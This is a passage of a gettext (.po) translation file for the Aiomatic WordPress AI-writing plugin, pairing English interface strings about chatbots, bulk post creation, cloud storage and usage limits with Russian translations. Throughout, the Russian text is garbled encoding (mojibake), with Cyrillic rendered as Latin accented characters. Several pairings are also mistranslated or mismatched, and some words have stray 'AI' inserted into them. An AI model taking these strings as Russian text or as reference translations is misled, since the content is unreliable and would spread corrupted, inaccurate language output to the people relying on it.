Создатель ÐеÑкольких ПоÑтов — Промпты к Заголовку" #: res/aiomatic-main.php:5738 msgid "Bulk AI Post Creator Settings:" msgstr "ÐаÑтройки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐеÑкольких ПоÑтов:" #: res/aiomatic-rules-list.php:165 msgid "Bulk AI Post Creator Tutorial" msgstr "РуководÑтво по маÑÑовому Ñозданию ПоÑтов AI" #: res/aiomatic-embeddings.php:198 msgid "" "Bulk embedding creation might consume a large number of AI model tokens to " "complete! Be sure you check" msgstr "" "Ð”Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¼Ð°ÑÑового Ð²Ð½ÐµÐ´Ñ€ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð¶ÐµÑ‚ потребоватьÑÑ Ð±Ð¾Ð»ÑŒÑˆÐ¾Ðµ количеÑтво " "токенов Модели AI! УбедитеÑÑŒ, что вы проверили Ñто." #: res/aiomatic-spinner-list.php:4094 msgid "" "Bulk post editing might consume a large number of AI model tokens to " "complete! Be sure you check" msgstr "" "МаÑÑовое редактирование ПоÑтов может потребовать большого количеÑтва токенов " "модели AI! УбедитеÑÑŒ, что вы проверÑете" #: res/aiomatic-main.php:6204 msgid "Bulk Posters" msgstr "МаÑÑовые плакаты" #: res/aiomatic-main.php:6197 msgid "Bulk Posters & OmniBlocks" msgstr "МаÑÑовые ПоÑтеры & OmniBlocks" #: res/aiomatic-main.php:34 msgid "Bulk Posts" msgstr "AI Создатель ÐеÑкольких ПоÑтов:" #: res/aiomatic-amazon-list.php:71 res/aiomatic-review-list.php:71 #: res/aiomatic-rules-list.php:71 res/aiomatic-single-list.php:71 #: res/aiomatic-single-list.php:209 res/aiomatic-youtube-list.php:71 msgid "Burmese" msgstr "БирманÑкий" #: res/aiomatic-languages.php:71 msgid "Burmese (Google Translate)" msgstr "БирманÑкий (переводчик Google)" #: res/aiomatic-main.php:8429 res/aiomatic-main.php:8948 msgid "Business" msgstr "БизнеÑ" #: aiomatic-automation.php:897 msgid "Business Where to Publish Posts" msgstr "Ð‘Ð¸Ð·Ð½ÐµÑ Ð“Ð´Ðµ публиковать поÑÑ‚Ñ‹" #: res/aiomatic-main.php:1678 msgid "Buyer Name:" msgstr "Ð˜Ð¼Ñ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ:" #: res/aiomatic-logs.php:497 #, php-format msgid "by %s" msgstr "на %s" #: res/aiomatic-main.php:2923 msgid "" "By default, the plugin will attempt to translate AI image prompts to English." " If you are publishing only English content on your site, you can disable " "this feature to speed up image processing." msgstr "" "По умолчанию плагин попытаетÑÑ Ð¿ÐµÑ€ÐµÐ²ÐµÑти Промпты Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI на " "английÑкий Ñзык. ЕÑли вы публикуете на Ñвоем Ñайте контент только на " "английÑком Ñзыке, вы можете отключить Ñту функцию, чтобы уÑкорить обработку " "изображений." #: aiomatic-helpers.php:1488 msgid "Canada" msgstr "Канада" #: res/aiomatic-main.php:4616 msgid "Canada (Central)" msgstr "Канада (ЦентральнаÑ)" #: res/aiomatic-main.php:4717 msgid "Canada (Toronto)" msgstr "Канада (Торонто)" #: res/aiomatic-training.php:543 msgid "Cancel" msgstr "Отменить" #: aiomatic-automatic-ai-content-writer.php:758 msgid "Cannot find this comment ID!" msgstr "Ðе удаетÑÑ Ð½Ð°Ð¹Ñ‚Ð¸ ID Ñтого комментариÑ!" #: res/image-seo/seo-panel.php:106 msgid "Caption" msgstr "ПодпиÑÑŒ" #: res/image-seo/seo-panel.php:32 msgid "Caption Text" msgstr "ТекÑÑ‚ ПодпиÑи" #: res/aiomatic-chatbot.php:3415 res/aiomatic-spinner-list.php:3635 msgid "Car speaker" msgstr "Ðвтомобильный динамик" #: res/aiomatic-training.php:67 msgid "case studies from OpenAI" msgstr "кейÑÑ‹ от OpenAI" #: res/aiomatic-amazon-list.php:16 res/aiomatic-review-list.php:16 #: res/aiomatic-rules-list.php:16 res/aiomatic-single-list.php:16 #: res/aiomatic-single-list.php:154 res/aiomatic-youtube-list.php:16 msgid "Catalan" msgstr "каталонÑкий" #: res/aiomatic-languages.php:12 msgid "Catalan (Google Translate)" msgstr "КаталонÑкий (переводчик Google)" #: res/aiomatic-automation-list.php:2356 msgid "Category" msgstr "КатегориÑ" #: res/aiomatic-embeddings.php:331 res/aiomatic-spinner-list.php:4379 msgid "Category Names:" msgstr "ÐÐ°Ð·Ð²Ð°Ð½Ð¸Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¹:" #: aiomatic-automation.php:1201 msgid "Category1, Category2, Category3" msgstr "КатегориÑ1, КатегориÑ2, КатегориÑ3" #: res/aiomatic-automation-list.php:2471 msgid "Category:" msgstr "КатегориÑ:" #: res/aiomatic-logs.php:553 msgid "Caution! This is for debugging purpose only!" msgstr "Внимание! Это только Ð´Ð»Ñ Ñ†ÐµÐ»ÐµÐ¹ отладки!" #: res/aiomatic-amazon-list.php:73 res/aiomatic-review-list.php:73 #: res/aiomatic-rules-list.php:73 res/aiomatic-single-list.php:73 #: res/aiomatic-single-list.php:211 res/aiomatic-youtube-list.php:73 msgid "Cebuano" msgstr "СебуанÑкий" #: res/aiomatic-languages.php:73 msgid "Cebuano (Google Translate)" msgstr "Кебуано (переводчик Google)" #: res/aiomatic-main.php:3606 msgid "Center" msgstr "Центр" #: res/aiomatic-main.php:2648 msgid "CFG Scale:" msgstr "МаÑштаб CFG:" #: res/aiomatic-spinner-list.php:3823 msgid "Change Post Status After Editing:" msgstr "Изменить ÑÑ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾Ñта поÑле редактированиÑ:" #: aiomatic-automatic-ai-content-writer.php:14667 #: res/aiomatic-automation-list.php:2035 res/aiomatic-automation-list.php:4502 #: res/aiomatic-automation-list.php:7259 msgid "" "Change the OmniBlock Type which is displayed, which will be able to be added " "to the OmniBlock Queue." msgstr "" "Измените отображаемый тип OmniBlock, который можно будет добавить в очередь " "OmniBlock." #: res/aiomatic-limits-statistics.php:829 #: res/aiomatic-limits-statistics.php:960 msgid "Characters" msgstr "Характеры" #: res/aiomatic-amazon-list.php:1987 res/aiomatic-amazon-list.php:4603 #: res/aiomatic-csv-list.php:436 res/aiomatic-csv-list.php:1606 #: res/aiomatic-review-list.php:2056 res/aiomatic-review-list.php:4756 #: res/aiomatic-rules-list.php:2185 res/aiomatic-rules-list.php:4992 #: res/aiomatic-youtube-list.php:1958 res/aiomatic-youtube-list.php:4531 msgid "Chat" msgstr "чат" #: res/aiomatic-chatbot.php:1258 res/aiomatic-chatbot.php:2258 msgid "Chat Compliance Text:" msgstr "ТекÑÑ‚ о ÑоответÑтвии Чата :" #: res/aiomatic-main.php:7653 msgid "Chat end API retry max count" msgstr "МакÑимальное количеÑтво повторных попыток API Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ñ‡Ð°Ñ‚Ð°" #: res/aiomatic-main.php:7648 msgid "Chat End of Conversation Retry Count:" msgstr "Счетчик повторных попыток Ð¾ÐºÐ¾Ð½Ñ‡Ð°Ð½Ð¸Ñ Ñ‡Ð°Ñ‚Ð°:" #: res/aiomatic-chatbot.php:1708 res/aiomatic-chatbot.php:3547 msgid "Chat Font Size:" msgstr "Размер шрифта чата:" #: res/aiomatic-chatbot.php:1747 res/aiomatic-chatbot.php:3586 msgid "Chat Form Height:" msgstr "Ð’Ñ‹Ñота формы чата:" #: res/aiomatic-chatbot.php:1763 res/aiomatic-chatbot.php:3602 msgid "Chat Form Min-Height:" msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота формы чата:" #: res/aiomatic-chatbot.php:1731 res/aiomatic-chatbot.php:3570 msgid "Chat Form Width:" msgstr "Ширина формы чата:" #: res/aiomatic-chatbot.php:1222 res/aiomatic-chatbot.php:2204 msgid "Chat Input Placeholder:" msgstr "Заполнитель ввода чата:" #: res/aiomatic-chatbot.php:1240 res/aiomatic-chatbot.php:2222 msgid "Chat Input Submit Button Text:" msgstr "ТекÑÑ‚ кнопки отправки ввода в чате:" #: res/aiomatic-chatbot.php:879 #| msgid "Chatbot Model Options:" msgid "Chatbot API Options:" msgstr "Параметры API чат-бота:" #: res/aiomatic-chatbot.php:891 res/aiomatic-chatbot.php:4342 msgid "Chatbot Assistant Name (Using This Disables Chatbot Personas):" msgstr "" "Ð˜Ð¼Ñ ÐÑÑиÑтента Чат-бота (при его иÑпользовании отключаютÑÑ Ð¿ÐµÑ€Ñональные " "Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‡Ð°Ñ‚-бота):" #: res/aiomatic-chatbot.php:630 msgid "Chatbot Context Details" msgstr "ПодробноÑти контекÑта чат-бота" #: res/aiomatic-chatbot.php:1193 res/aiomatic-chatbot.php:2193 #| msgid "Chatbot Context Settings:" msgid "Chatbot Context Details:" msgstr "Детали контекÑта чат-бота:" #: res/aiomatic-chatbot.php:724 res/aiomatic-chatbot.php:1134 msgid "Chatbot Context:" msgstr "КонтекÑÑ‚ чат-бота:" #: res/aiomatic-chatbot.php:2633 msgid "Chatbot Email Extension:" msgstr "РаÑширение Email Чат-бота:" #: res/aiomatic-playground.php:59 msgid "Chatbot Feature" msgstr "Функционал чат-бота" #: res/aiomatic-chatbot.php:1286 msgid "Chatbot General Settings:" msgstr "Общие ÐаÑтройки Чат-бота:" #: res/aiomatic-chatbot.php:4492 msgid "Chatbot Global Injection Settings:" msgstr "Глобальные ÐаÑтройки инъекцAI чат-бота:" #: res/aiomatic-chatbot.php:1429 res/aiomatic-chatbot.php:4526 msgid "Chatbot Location:" msgstr "МеÑтонахождение чат-бота:" #: res/aiomatic-chatbot.php:939 res/aiomatic-chatbot.php:4391 msgid "Chatbot Model:" msgstr "Модель чат-бота:" #: res/aiomatic-chatbot.php:4655 msgid "Chatbot Open Icon:" msgstr "Значок Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ñ‡Ð°Ñ‚-бота:" #: res/aiomatic-chatbot.php:677 res/aiomatic-chatbot.php:1039 msgid "Chatbot Persona Settings:" msgstr "ÐаÑтройки Ð¿Ñ€Ð¾Ñ„Ð¸Ð»Ñ Ñ‡Ð°Ñ‚-бота:" #: res/aiomatic-chatbot.php:1050 msgid "Chatbot Persona:" msgstr "ЛичноÑÑ‚ÑŒ чат-бота:" #: res/aiomatic-chatbot.php:5685 msgid "Chatbot Preview" msgstr "Предварительный проÑмотр чат-бота" #: res/aiomatic-main.php:6771 res/aiomatic-main.php:7273 #| msgid "Chat Shortcodes" msgid "Chatbot Shortcodes" msgstr "Шорткоды Чат-бота" #: res/aiomatic-chatbot.php:1634 #| msgid "AI Chatbot Styling Options:" msgid "Chatbot Styling Options:" msgstr "Параметры Ð¡Ñ‚Ð¸Ð»Ñ Ð§Ð°Ñ‚-бота AI:" #: res/aiomatic-chatbot.php:994 res/aiomatic-chatbot.php:4443 msgid "Chatbot Temperature:" msgstr "Температура чат-бота:" #: res/aiomatic-chatbot.php:2679 msgid "Chatbot Text-to-Speech/Video Options:" msgstr "Чат-бот Преобразование текÑта в Речь/Видео Параметры:" #: res/aiomatic-chatbot.php:3879 msgid "Chatbot Theme Management:" msgstr "Управление темами чат-бота:" #: res/aiomatic-chatbot.php:2004 res/aiomatic-chatbot.php:3843 msgid "Chatbot Theme:" msgstr "Тема чат-бота:" #: res/aiomatic-chatbot.php:3928 msgid "Chatbot Themes Tutorial Video:" msgstr "Обучающее видео по темам чат-ботов:" #: res/aiomatic-chatbot.php:1007 res/aiomatic-chatbot.php:4456 msgid "Chatbot Top_p:" msgstr "Чат-бот Top_p:" #: res/aiomatic-chatbot.php:4549 msgid "Chatbot Width:" msgstr "Ширина чат-бота:" #: res/aiomatic-main.php:1788 #, php-format msgid "" "Check this detailed step-by-step tutorial " "and also this tutorial video for info on " "setup and usage of Microsoft Azure OpenAI API in Aiomatic." msgstr "" "ОзнакомьтеÑÑŒ Ñ Ñтим подробным пошаговым " "руководÑтвом а также Ñ Ñтим обучающим " "видео, чтобы получить информацию о наÑтройке и иÑпользовании Microsoft " "Azure OpenAI API в Aiomatic." #: res/aiomatic-embeddings.php:55 msgid "" "Check and verify added embeddings and manage them to be sure they are " "correct." msgstr "" "Отмечайте и проверÑйте добавленные вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¸ управлÑйте ими, чтобы " "убедитьÑÑ, что они верны." #: update-checker/Puc/v5p2/Plugin/Ui.php:130 msgid "Check for updates" msgstr "Проверка Ð½Ð°Ð»Ð¸Ñ‡Ð¸Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ð¹" #: res/aiomatic-amazon-list.php:2386 res/aiomatic-csv-list.php:934 #: res/aiomatic-review-list.php:2455 res/aiomatic-rules-list.php:2584 #: res/aiomatic-youtube-list.php:2357 #, php-format msgid "" "Check more settings which apply to rule running, over at the plugin's 'Main " "Settings' menu, here." msgstr "" "Дополнительные наÑтройки, применимые к запуÑку правил, можно проверить в " "меню «ОÑновные наÑтройки» плагина, здеÑÑŒ." #: res/aiomatic-assistants.php:141 msgid "Check On OpenAI" msgstr "Проверьте OpenAI" #: res/aiomatic-csv-list.php:929 msgid "Check some example CSV files you can use:" msgstr "" "Проверьте неÑколько примеров файлов CSV, которые вы можете иÑпользовать:" #: res/aiomatic-main.php:2999 msgid "Check the Statistics page " msgstr "Проверьте Страницу СтатиÑтики" #: res/aiomatic-more.php:42 msgid "Check The Tutorial Videos From The Above Tabs!" msgstr "ПоÑмотрите обучающие видео на вкладках выше!" #: res/aiomatic-main.php:2426 msgid "" "Check this checkbox if the above API key is a DeepL free plan key. If it is " "a PRO key, please uncheck this checkbox." msgstr "" "УÑтановите Ñтот флажок, еÑли указанный выше ключ API ÑвлÑетÑÑ ÐºÐ»ÑŽÑ‡Ð¾Ð¼ " "беÑплатного плана DeepL. ЕÑли Ñто ключ PRO, Ñнимите Ñтот флажок." #: res/aiomatic-main.php:6988 msgid "check this feature's tutorial" msgstr "проверить учебник по Ñтой функции" #: res/aiomatic-main.php:1610 msgid "Check this link for details" msgstr "Проверьте Ñту ÑÑылку Ð´Ð»Ñ Ð´ÐµÑ‚Ð°Ð»ÐµÐ¹" #: res/aiomatic-main.php:4012 msgid "" "Check this to enable the AI writer to improve the YouTube video keywords." msgstr "" "УÑтановите Ñтот флажок, чтобы позволить AI Создателю улучшить ключевые Ñлова " "видео на YouTube." #: res/aiomatic-main.php:5440 res/aiomatic-main.php:5761 msgid "" "Check this to force the plugin to make draft posts before they would be " "fully published. This can help you you use other third party plugins with " "the automatically published posts." msgstr "" "УÑтановите Ñтот флажок, чтобы заÑтавить плагин Ñоздавать черновики ПоÑтов до " "того, как они будут полноÑтью опубликованы. Это может помочь вам " "иÑпользовать Ñторонние плагины Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки публикуемыми ПоÑтами." #: res/aiomatic-shortcodes.php:65 msgid "Checkbox" msgstr "ЧекбокÑ" #: res/aiomatic-amazon-list.php:74 res/aiomatic-review-list.php:74 #: res/aiomatic-rules-list.php:74 res/aiomatic-single-list.php:74 #: res/aiomatic-single-list.php:212 res/aiomatic-youtube-list.php:74 msgid "Chichewa" msgstr "Чичева" #: res/aiomatic-languages.php:74 msgid "Chichewa (Google Translate)" msgstr "Чичева (переводчик Google)" #: res/aiomatic-main.php:8653 msgid "Chinese" msgstr "КитайÑкий" #: res/aiomatic-amazon-list.php:17 res/aiomatic-review-list.php:17 #: res/aiomatic-rules-list.php:17 res/aiomatic-single-list.php:17 #: res/aiomatic-single-list.php:155 res/aiomatic-youtube-list.php:17 msgid "Chinese Simplified" msgstr "КитайÑкий упрощенный" #: res/aiomatic-languages.php:13 msgid "Chinese Simplified (Google Translate)" msgstr "Упрощенный китайÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:64 res/aiomatic-review-list.php:64 #: res/aiomatic-rules-list.php:64 res/aiomatic-single-list.php:64 #: res/aiomatic-single-list.php:202 res/aiomatic-youtube-list.php:64 msgid "Chinese Traditional" msgstr "КитайÑкий Традиционный" #: res/aiomatic-languages.php:64 msgid "Chinese Traditional (Google Translate)" msgstr "КитайÑкий традиционный (переводчик Google)" #: aiomatic-automatic-ai-content-writer.php:15404 msgid "Choose from the most used Post Source" msgstr "Выберите из наиболее чаÑто иÑпользуемых иÑточников ПоÑтов" #: res/aiomatic-spinner-list.php:4171 msgid "" "Choose how often you want to automatically check for old posts. This will " "change the cron scheduling time." msgstr "" "Выберите, как чаÑто вы хотите автоматичеÑки проверÑÑ‚ÑŒ наличие Ñтарых ПоÑтов. " "Это изменит Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð»Ð°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ cron." #: res/aiomatic-main.php:7368 msgid "Choose if you want to automatically clear logs after a period of time." msgstr "" "Выберите, хотите ли вы автоматичеÑки очищать журналы через определенный " "промежуток времени." #: res/aiomatic-main.php:7872 #| msgid "" #| "Choose if you want to improve royalty free image importing, using the " #| "below services. These will extract keywords from the original text and " #| "provide better image quality results. If you select TextRazor, you also " #| "need to enter a TextRazor API key below. If you select OpenAI, you also " #| "need to enter a prompt for OpenAI keyword extraction, below." msgid "" "Choose if you want to improve royalty free image importing, using the below " "services. These will extract keywords from the original text and provide " "better image quality results. If you select TextRazor, you also need to " "enter a TextRazor API key below. If you select OpenAI, you also need to " "enter a prompt for OpenAI keyword extraction, below. To enable TextRazor to " "be selected, please enter an API key for TextRazor below." msgstr "" "Выберите, хотите ли вы улучшить импорт изображений без лицензионных " "отчиÑлений, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñледующие уÑлуги. Они извлекут Ключевые Слова из " "иÑходного текÑта и обеÑпечат лучшее качеÑтво изображениÑ. ЕÑли вы выберете " "TextRazor, вам также потребуетÑÑ Ð²Ð²ÐµÑти ключ TextRazor API ниже. ЕÑли вы " "выберете OpenAI, вам также потребуетÑÑ Ð²Ð²ÐµÑти Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° извлечение ключевого " "Ñлова OpenAI ниже." #: res/aiomatic-main.php:5801 msgid "" "Choose if you want to process entered titles/topics in order of entering " "them, not in a random order." msgstr "" "Выберите, хотите ли вы обрабатывать введенные заголовки/темы в порÑдке их " "ввода, а не в Ñлучайном порÑдке." #: res/aiomatic-main.php:5820 msgid "" "Choose if you want to receive a summary of the rule running in an email." msgstr "" "Выберите, хотите ли вы получать Ñводную информацию о правиле, запущенном в " "email." #: res/aiomatic-main.php:5879 msgid "" "Choose if you want to require only one word from the 'Required Words List' " "for the post to be accepted." msgstr "" "Выберите, хотите ли вы требовать только одно Ñлово из «СпиÑка ОбÑзательных " "Слов», чтобы ПоÑÑ‚ было принÑÑ‚." #: res/aiomatic-main.php:5781 msgid "" "Choose if you want to skip checking for duplicate post titles when " "publishing new posts. If you check this, duplicate post titles will be " "posted! So use it only when it is necesarry." msgstr "" "Выберите, хотите ли вы пропуÑтить проверку дубликатов Заголовоков ПоÑтов при " "публикации новых ПоÑтов. ЕÑли вы отметите Ñто, будут опубликованы " "повторÑющиеÑÑ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¸ ПоÑтов! Так что иÑпользуйте его только тогда, когда " "Ñто необходимо." #: res/aiomatic-main.php:2771 msgid "cinematic" msgstr "кинематографичеÑкий" #: res/aiomatic-assistants.php:505 res/aiomatic-assistants.php:660 #: res/aiomatic-chatbot.php:778 res/aiomatic-chatbot.php:1188 #: res/aiomatic-chatbot.php:5561 msgid "Clear avatar" msgstr "ОчиÑтить аватар" #: aiomatic-shortcodes-file.php:4695 aiomatic-shortcodes-file.php:6481 msgid "Clear Chat Conversation" msgstr "ОчиÑтить разговор в чате" #: res/aiomatic-training.php:201 msgid "Clear Data" msgstr "ОчиÑтить Данные" #: res/aiomatic-logs.php:553 msgid "Clear Running Rules List" msgstr "ОчиÑтить ÑпиÑок дейÑтвующих правил" #: res/aiomatic-training.php:64 msgid "CLI Data Preparation Tool" msgstr "ИнÑтрумент подготовки данных CLI" #: res/other/plugin-dash.php:471 res/other/plugin-dash.php:492 msgid "Click here to get the plugin" msgstr "Ðажмите здеÑÑŒ, чтобы получить Плагин" #: aiomatic-shortcodes-file.php:4703 msgid "Click on a bubble to copy its content!" msgstr "Ðажмите на пузырь, чтобы Ñкопировать его контент!" #: res/aiomatic-limits-statistics.php:501 msgid "" "Click on the 'OpenAI Status' tab in the 'Limits and Statistics' section. " "Here, you can see reported incidents from OpenAI's part and their API " "service status. This can help you troubleshoot any issues with the AI " "services provided by the plugin. Remember, the 'Limits and Statistics' " "feature is a powerful tool for managing and monitoring the usage of the " "Aiomatic plugin. By understanding how to use this feature, you can ensure " "that your AI services are being used effectively and responsibly." msgstr "" "Ðажмите на вкладку Â«Ð¡Ñ‚Ð°Ñ‚ÑƒÑ OpenAI» в Разделе «Лимиты и ÑтатиÑтика». ЗдеÑÑŒ вы " "можете увидеть ПоÑÑ‚Ñ‹ об инцидентах Ñо Ñтороны OpenAI и их ÑÑ‚Ð°Ñ‚ÑƒÑ Ñлужбы API. " "Это может помочь вам уÑтранить любые проблемы Ñо Ñлужбами иÑкуÑÑтвенного " "интеллекта, предоÑтавлÑемыми Плагином. Помните, что Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ " "ÑтатиÑтика» — Ñто мощный инÑтрумент Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸ мониторинга " "иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° Aiomatic. ПонÑв, как иÑпользовать Ñту функцию, вы " "Ñможете обеÑпечить Ñффективное и ответÑтвенное иÑпользование ваших ÑервиÑов " "AI." #: res/aiomatic-limits-statistics.php:497 msgid "" "Click on the 'Usage Graphs' tab in the 'Limits and Statistics' section. Here," " you can view graphs that represent the call count, used token count, usage " "cost, and generated AI image count. These graphs provide a visual " "representation of the plugin's usage over time, helping you understand usage " "trends and patterns." msgstr "" "Перейдите на вкладку «Графики ИÑпользованиÑ» в Разделе Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ " "ÑтатиÑтика». ЗдеÑÑŒ вы можете проÑмотреть графики, которые предÑтавлÑÑŽÑ‚ " "количеÑтво вызовов, количеÑтво иÑпользованных токенов, ÑтоимоÑÑ‚ÑŒ " "иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ количеÑтво Ñгенерированных изображений AI. Эти графики " "обеÑпечивают визуальное предÑтавление иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡Ð°ÐµÐ¼Ð¾Ð³Ð¾ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ñ " "течением времени, Ð¿Ð¾Ð¼Ð¾Ð³Ð°Ñ Ð²Ð°Ð¼ понÑÑ‚ÑŒ тенденцAI и модели иÑпользованиÑ." #: res/aiomatic-limits-statistics.php:499 msgid "" "Click on the 'Usage Limits' tab in the 'Limits and Statistics' section. Here," " you can set usage limits for both logged in and not logged in users. You " "can set limits based on token usage, price usage, or call count usage. You " "can also create usage limiting rules. For example, you might limit the " "number of requests a user can make in a given time period. The Aiomatic " "plugin can be integrated with the 'Ultimate Membership Pro' plugin. This " "allows you to set different usage amounts for members who have joined " "different membership plans. You can also limit usage based on user role. For " "example, you might allow administrators to make more requests than regular " "users." msgstr "" "Перейдите на вкладку Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð˜ÑпользованиÑ» в Разделе Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ " "СтатиÑтика». ЗдеÑÑŒ вы можете уÑтановить Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование как Ð´Ð»Ñ " "вошедших, так и Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей. Ð’Ñ‹ можете уÑтановить " "Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° оÑнове иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð¾ÐºÐµÐ½Ð°, иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ†ÐµÐ½Ñ‹ или " "иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑтва вызовов. Ð’Ñ‹ также можете Ñоздать правила " "Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ÑпользованиÑ. Ðапример, вы можете ограничить количеÑтво " "запроÑов, которые пользователь может Ñделать за определенный период времени. " "Плагин Aiomatic можно интегрировать Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼ Ultimate Membership Pro. Это " "позволÑет вам уÑтанавливать разные Ñуммы иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑƒÑ‡Ð°Ñтников, " "приÑоединившихÑÑ Ðº разным планам членÑтва. Ð’Ñ‹ также можете ограничить " "иÑпользование в завиÑимоÑти от роли пользователÑ. Ðапример, вы можете " "разрешить админиÑтраторам делать больше запроÑов, чем обычным пользователÑм." #: res/aiomatic-limits-statistics.php:468 msgid "" "Click on the 'Usage Logs' tab. Here, you will see a table with the following " "columns:" msgstr "" "Ðажмите на вкладку «Журналы ИÑпользованиÑ». ЗдеÑÑŒ вы увидите таблицу Ñо " "Ñледующими Ñтолбцами:" #: res/aiomatic-chatbot.php:806 msgid "" "Click the persona you want to use in your chatbot and it will be selected " "and its values will be automatically filled in the settings fields from " "above. All you have to do afterwards, is to save settings and the chatbot " "persona will be applied to the chatbot!" msgstr "" "Ðажмите на перÑонажа, которого вы хотите иÑпользовать в Ñвоем чат-боте, и он " "будет выбран, а его Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð±ÑƒÐ´ÑƒÑ‚ автоматичеÑки заполнены в полÑÑ… наÑтроек " "Ñверху. Ð’Ñе, что вам нужно Ñделать поÑле Ñтого, — Ñто Ñохранить наÑтройки, и " "к чат-боту будет применена перÑона чат-бота!" #: res/aiomatic-single-list.php:1089 msgid "" "Click this button to start processing and create the content and title of " "the post." msgstr "" "Ðажмите Ñту кнопку, чтобы начать обработку и Ñоздать контент и заголовок " "поÑта." #: res/aiomatic-main.php:4411 msgid "" "Click this option to enable integration with the 'Featured Image from URL' " "plugin - https://wordpress.org/plugins/featured-image-from-url/ (you need to " "install and activate this plugin). This will not copy featured images of " "created posts locally, but will link them directly from their source." msgstr "" "Ðажмите Ñту опцию, чтобы включить интеграцию Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼ «Избранное " "изображение из URL» — https://wordpress.org/plugins/featured-image-from-url/ " "(вам необходимо уÑтановить и активировать Ñтот плагин). Это не будет " "копировать избранные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñозданных поÑтов локально, а ÑвÑжет их " "непоÑредÑтвенно Ñ Ð¸Ñточником." #: res/aiomatic-main.php:2686 msgid "Clip Guidance Preset:" msgstr "ПредуÑтановка ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ»Ð¸Ð¿Ð¾Ð¼:" #: res/image-seo/seo-panel.php:10 msgid "Close panel" msgstr "Закрыть панель" #: res/aiomatic-main.php:22 msgid "Cloud Storage" msgstr "Облачное хранилище" #: res/aiomatic-main.php:4788 msgid "CloudFlare R2 Account ID:" msgstr "Идентификатор учетной запиÑи CloudFlare R2:" #: res/aiomatic-main.php:4820 msgid "CloudFlare R2 API Key:" msgstr "Ключ API CloudFlare R2:" #: res/aiomatic-main.php:4836 msgid "CloudFlare R2 API Secret:" msgstr "Секрет API CloudFlare R2:" #: res/aiomatic-main.php:4804 msgid "CloudFlare R2 Bucket Name:" msgstr "Ð˜Ð¼Ñ Ñегмента CloudFlare R2:" #: res/aiomatic-main.php:4772 msgid "CloudFlare R2 Directory:" msgstr "Каталог CloudFlare R2:" #: res/aiomatic-main.php:4759 msgid "CloudFlare R2 Settings:" msgstr "ÐаÑтройки CloudFlare R2:" #: res/aiomatic-assistants.php:430 res/aiomatic-assistants.php:585 msgid "Code Interpreter" msgstr "Интерпретатор кода" #: res/aiomatic-assistants.php:434 res/aiomatic-assistants.php:589 msgid "" "Code Interpreter enables the assistant to write and run code. This tool can " "process files with diverse data and formatting, and generate files such as " "graphs." msgstr "" "Code Interpreter позволÑет аÑÑиÑтенту пиÑать и запуÑкать код. Этот " "инÑтрумент может обрабатывать файлы Ñ 